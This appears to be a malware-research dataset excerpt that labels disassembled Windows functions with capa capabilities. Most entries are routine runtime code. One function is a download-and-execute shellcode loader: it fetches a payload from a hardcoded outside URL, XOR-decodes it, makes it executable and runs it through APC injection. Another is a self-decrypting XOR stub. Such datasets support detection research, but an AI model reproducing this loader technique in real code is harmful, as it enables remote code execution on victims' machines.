joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140025e94
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140025ec4
xor eax, eax
jmp 0x140025f87
mov rbp, rbx
cmp word [rax], si
je 0x140025ee9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140025ed0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140025ecc
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140022b14
movsxd r14, eax
test eax, eax
jne 0x140025f27
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140025ebd
mov rcx, r14
call fcn.140022728
mov rdi, rax
test rax, rax
jne 0x140025f40
xor ecx, ecx
call fcn.1400226ec
jmp 0x140025f1c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140022b14
test eax, eax
jne 0x140025f71
mov rcx, rdi
call fcn.1400226ec
jmp 0x140025f7b
xor ecx, ecx
call fcn.1400226ec
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400284b4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400207d4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002853e
cmp byte [rbp - 0x21], r15b
je 0x140028539
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140028574
call fcn.140023464
test eax, eax
jne 0x140028560
cmp byte [rbp - 0x21], r15b
je 0x140028558
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140028574
cmp byte [rbp - 0x21], r15b
je 0x140028571
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140020afc
test eax, eax
jne 0x140028614
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400207d4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400285b3
cmp byte [rbp - 0x21], r15b
je 0x1400285e8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400285e8
call fcn.140023464
test eax, eax
jne 0x1400285d4
cmp byte [rbp - 0x21], r15b
je 0x1400285cd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400285e8
cmp byte [rbp - 0x21], r15b
je 0x1400285e5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140020afc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140028614
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140028617
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140028625
mov rcx, rdi
call fcn.1400226ec
cmp byte [rbp + 0x3f], r15b
je 0x140028634
mov rcx, qword [rbp + 0x27]
call fcn.1400226ec
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002a5d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002a5f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002a5f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001480
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbx, rdx
mov rdi, rcx
xor esi, esi
mov dword [rax + 0x20], esi
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rax + 0x20], 1
mov dword [rax - 0x68], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 1]
lea rcx, str.momo
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
je 0x1400015a5
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
je 0x14000159c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x38]
call fcn.1400017c0
nop
mov dword [rsp + 0xa0], esi
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
sub rsi, rbx
lea r9, [rsp + 0xa0]
mov r8d, esi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000156c
mov eax, dword [rsp + 0xa0]
test eax, eax
je 0x14000156c
lea r9, [rbx + rax]
mov r8, rbx
mov rdx, qword [rdi + 8]
mov rcx, rdi
call fcn.1400019a0
jmp 0x14000157b
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x14000157b
cmp eax, 0x12
jne 0x140001585
cmp dword [rsp + 0xa0], 0
ja 0x140001531
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
test rbx, rbx
je 0x14000159c
mov rcx, rbx
call fcn.140002430
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, rdi
add rsp, 0x60
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400015c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov eax, 0x33
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x11]
mov word [rbp + 0x33], ax
mov eax, 0x36
mov qword [rsp + 0xb0], rdi
mov word [rbp + 0x35], ax
mov eax, 0x30
mov dword [rbp + 0xf], 0x740068
mov word [rbp + 0x37], ax
mov eax, 0x64
mov dword [rbp + 0x13], 0x700074
mov word [rbp + 0x39], ax
mov eax, 0x73
mov dword [rbp + 0x17], 0x2f003a
mov dword [rbp + 0x1b], 0x68002f
mov dword [rbp + 0x1f], 0x72006d
mov dword [rbp + 0x23], 0x610061
mov word [rbp + 0x3b], ax
mov dword [rbp + 0x27], 0x2e006f
mov dword [rbp + 0x2b], 0x6f0063
mov dword [rbp + 0x2f], 0x2f006d
mov dword [rbp + 0x3d], 0x2e0062
mov dword [rbp + 0x41], 0x70006a
xor edi, edi
mov dword [rbp + 0x45], 0x67
call fcn.140001480
mov r11, qword [rbp - 0x11]
mov rdx, qword [rbp - 9]
cmp rdx, r11
je 0x140001768
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], rsi
mov r10d, edi
lea rsi, str.hrsgdsb
mov r9d, edi
mov ebx, edi
nop word [rax + rax]
movsx ecx, byte [r9 + rsi]
mov eax, 0x4ac525d3
inc r9
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r10d
add cl, 0x4f
xor byte [rbx + r11], cl
mov r11, qword [rbp - 0x11]
add edx, r10d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r10d, edx
mov rdx, qword [rbp - 9]
cmove r9, rdi
inc r10d
mov r8, rdx
sub r8, r11
movsxd rax, r10d
inc rbx
cmp rax, r8
jb 0x1400016a0
mov rsi, qword [rsp + 0xa8]
lea r9, [rbp - 0x19]
sub rdx, r11
mov r8d, 0x40
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtTestAlert
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, qword [rbp - 0x11]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rdi
mov r11, qword [rbp - 0x11]
mov rbx, qword [rsp + 0xa0]
mov rdi, qword [rsp + 0xb0]
test r11, r11
je 0x14000177d
mov rcx, r11
call fcn.140002430
xor eax, eax
add rsp, 0x90
pop rbp
ret

Function at 0x140003dd0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003c40
Function at 0x140006e40
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140010f70]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000355c
xor ebx, ebx
cmp qword [0x140012038], rbx
mov rdi, rax
jne 0x140006f53
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14000702a
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000702a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012038], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012040], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140012048], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140012058], rax
test rax, rax
je 0x140006f4a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140012050], rax
jmp 0x140006f5a
mov rax, qword [0x140012050]
jmp 0x140006f61
mov rax, qword [0x140012050]
mov r11, qword [0x140012058]
cmp rax, rdi
je 0x140006fc8
cmp r11, rdi
je 0x140006fc8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140012058]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140006fc8
test rax, rax
je 0x140006fc8
call rsi
test rax, rax
je 0x140006fc2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140006fc2
test byte [rsp + 0x40], 1
jne 0x140006fc8
bts ebp, 0x15
jmp 0x140007008
mov rcx, qword [0x140012040]
cmp rcx, rdi
je 0x140007008
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007008
call rax
mov rbx, rax
test rax, rax
je 0x140007008
mov rcx, qword [0x140012048]
cmp rcx, rdi
je 0x140007008
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140007008
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012038]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14000702a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14000702c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140005b60
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007377
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140010f70]
jne 0x140005b7a
rol rcx, 0x10
test cx, 0xffff
jne 0x140005b76
repz ret
ror rcx, 0x10
jmp 0x1400072d0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012100]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400121f8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140007355
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012100]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140007377
mov rax, qword [rsp + 0x88]
mov qword [0x1400121f8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140012198], rax
mov rax, qword [0x1400121f8]
mov qword [0x140012070], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140012180], rax
mov dword [0x140012060], 0xc0000409
mov dword [0x140012064], 1
mov rax, qword [0x140010f70]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140010f78]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400120f8], eax
mov ecx, 1
call fcn.140006e38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d6a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400120f8], 0
jne 0x1400073fe
mov ecx, 1
call fcn.140006e38
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140069ac0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140069b0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140069b0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140069b0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140069b0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140069b0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140069b0c
xor al, al
add rsp, 0x28
ret

Function at 0x14007be84
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14007bc7b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007bc7b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007bc7b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007bc7b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007bc7b
cmp dword [rcx + 0x84], 0xe
jbe 0x14007bc7b
cmp dword [rcx + 0xf8], 0
je 0x14007bc7b
mov ecx, ebx
call fcn.14007bd8c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14007b9e0
nop
cmp dword [rbp + 0x20], 0
je 0x14007bcc9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14007bcd4
int3
xor r8d, r8d
xor edx, edx
jmp 0x14007bc0c
Function at 0x1400aa8c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140153910]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400aa917
cmp word [rdx], r13w
jne 0x1400aa917
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400aa91c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400aaa41
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400aaa62
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400aa955
mov rdx, r9
mov word [rbx], cx
jmp 0x1400aa97c
cmp r9, r8
jae 0x1400aa98c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400aa936
jmp 0x1400aaa41
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400aaa36
cmp dword [rsp + 0x80], esi
je 0x1400aaa36
lea r8, [0x140153910]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400aaa0e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400aa9de
mov word [rbx], r13w
jmp 0x1400aaa3e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400aa9eb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400aaa3e
cmp word [rsp + 0x70], r13w
jne 0x1400aaa1b
cmp rbx, r14
je 0x1400aa9d8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400bbbfc
cmp word [rsp + 0x70], r13w
je 0x1400aaa41
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140153910]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400aaa3b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400aaa41
Function at 0x1400acacc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400acae2
mov al, 1
jmp 0x1400acb42
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400acaf3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400acb40
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400b4458
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400acb40
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400acb40
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400acb40
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400acb42
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400b2110
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400b2140
xor eax, eax
jmp 0x1400b2203
mov rbp, rbx
cmp word [rax], si
je 0x1400b2165
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400b214c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400b2148
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400b1f90
movsxd r14, eax
test eax, eax
jne 0x1400b21a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400b2139
mov rcx, r14
call fcn.1400aea30
mov rdi, rax
test rax, rax
jne 0x1400b21bc
xor ecx, ecx
call fcn.1400a9af4
jmp 0x1400b2198
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400b1f90
test eax, eax
jne 0x1400b21ed
mov rcx, rdi
call fcn.1400a9af4
jmp 0x1400b21f7
xor ecx, ecx
call fcn.1400a9af4
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400c2d3c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400bbbfc
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400bbbfc
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400c2e8c
cmp rax, 0xffffffffffffffff
je 0x1400c2e8c
xor edi, edi
test rbp, rbp
jle 0x1400c2e37
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400aea90
mov rbx, rax
test rax, rax
jne 0x1400c2dc4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400c2e2d
mov edx, 0x8000
mov ecx, r14d
call fcn.14007fd2c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400ac438
cmp eax, 0xffffffff
je 0x1400c2e0d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400c2dd4
mov edx, r15d
mov ecx, r14d
call fcn.14007fd2c
jmp 0x1400c2e2d
cmp byte [rsi + 0x38], dil
je 0x1400c2e24
cmp dword [rsi + 0x34], 5
jne 0x1400c2e24
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400c2e2d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400a9af4
jmp 0x1400c2ea0
jns 0x1400c2ea0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400bbbfc
cmp rax, 0xffffffffffffffff
jne 0x1400c2e58
cmp byte [rsi + 0x30], dil
je 0x1400c2ea0
mov edi, dword [rsi + 0x2c]
jmp 0x1400c2ea0
mov ecx, r14d
call fcn.1400b4458
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400c2ea0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1400c2ea0
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400c2e99
mov eax, dword [rsi + 0x2c]
jmp 0x1400c2e9e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400bbbfc
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400c6d20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400c6d48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400c6d48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140feb938
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140feb942
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140feb96b
pop rbp
sub rbp, 0x33
sub rbp, 0xfeb938
sub rsp, 0x20
jmp 0x140feb98a
mov rax, 0xfeb938
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x53813d77
xor byte [rax], dl
inc rax
dec rcx
jne 0x140feb9a9
jmp 0x140feb9c0
invalid
Function at 0x4180e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41828b
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00434d00
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x41814e
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x418161
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x418185
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x418199
cmp rbx, 0x1000
jae 0x418158
nop
jmp 0x418209
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x4181ad
